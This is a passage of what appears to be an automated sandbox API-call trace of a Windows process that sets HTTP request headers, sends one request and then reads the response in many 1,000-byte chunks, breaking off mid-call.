0xcc000c [0046.656] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0046.656] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0046.656] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0046.656] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0046.656] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0046.708] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.709] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a40020, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a40020*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.709] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a40408, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a40408*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a407f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a407f0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a40bd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a40bd8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a40fc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a40fc0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a413a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a413a8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a41790, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a41790*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a41b78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a41b78*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a41f60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a41f60*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a42348, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a42348*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a42730, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a42730*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a42b18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a42b18*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a42f00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a42f00*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a432e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a432e8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a436d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a436d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a43ab8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a43ab8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a43ea0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a43ea0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.712] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a44288, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a44288*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.712] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a44670, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a44670*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.712] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a44a58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a44a58*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.712] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a44e40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a44e40*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.712] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a45228, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a45228*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.712] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a45610, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a45610*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.712] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a459f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a459f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.713] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a45de0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a45de0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.713] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a461c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a461c8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.713] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a465b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a465b0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.713] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a46998, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a46998*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.713] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a46d80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a46d80*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.713] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a47168, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a47168*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.713] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a47550, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a47550*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.714] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a47938, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a47938*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.714] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a47d20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a47d20*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.714] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a48108, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a48108*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.714] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a484f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a484f0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.714] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a488d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a488d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.714] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a48cc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a48cc0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.715] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a490a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a490a8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.715] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a49490, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a49490*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.715] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a49878, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a49878*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.715] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a49c60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a49c60*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.715] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4a048, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4a048*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.715] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4a430, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4a430*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.716] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4a818, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4a818*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.716] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4ac00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4ac00*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.716] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4afe8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4afe8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.716] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4b3d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4b3d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.716] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4b7b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4b7b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.716] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4bba0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4bba0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.717] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4bf88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4bf88*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.717] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4c370, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4c370*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.717] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4c758, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4c758*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.717] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4cb40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4cb40*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.717] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4cf28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4cf28*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.717] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4d310, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4d310*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.718] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4d6f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4d6f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.718] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4dae0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4dae0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.718] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4dec8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4dec8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.718] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4e2b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4e2b0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.718] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4e698, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4e698*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.718] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4ea80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4ea80*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.718] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4ee68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4ee68*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.719] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4f250, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4f250*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.719] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4f638, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4f638*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.719] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4fa20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4fa20*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.719] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4fe08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4fe08*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.751] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a501f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a501f0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.751] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a505d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a505d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.752] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a509c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a509c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.752] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a50da8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a50da8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.752] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a51190, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a51190*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.752] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a51578, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a51578*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.752] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a51960, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a51960*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.752] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a51d48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a51d48*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.757] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a52130, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a52130*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.757] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a52518, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a52518*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.758] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a52900, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a52900*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.758] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a52ce8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a52ce8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.758] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a530d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a530d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.758] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a534b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a534b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.758] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a538a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a538a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.758] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a53c88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a53c88*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.759] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a54070, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a54070*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.759] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a54458, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a54458*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.759] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a54840, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a54840*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.759] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a54c28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a54c28*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.759] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a55010, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a55010*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.759] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a553f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a553f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.759] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a557e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a557e0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.760] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a55bc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a55bc8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.760] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a55fb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a55fb0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.760] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a56398, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a56398*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.760] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a56780, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a56780*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.760] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a56b68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a56b68*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.761] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a56f50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a56f50*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.761] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a57338, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a57338*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.761] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a57720, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a57720*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.761] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a57b08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a57b08*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.761] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a57ef0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a57ef0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.761] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a582d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a582d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.762] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a586c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a586c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.762] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a58aa8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a58aa8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.762] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a58e90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a58e90*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.762] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a59278, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a59278*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.762] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a59660, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a59660*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.762] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a59a48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a59a48*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.762] InternetReadFile (in: hFile=0xcc000c, 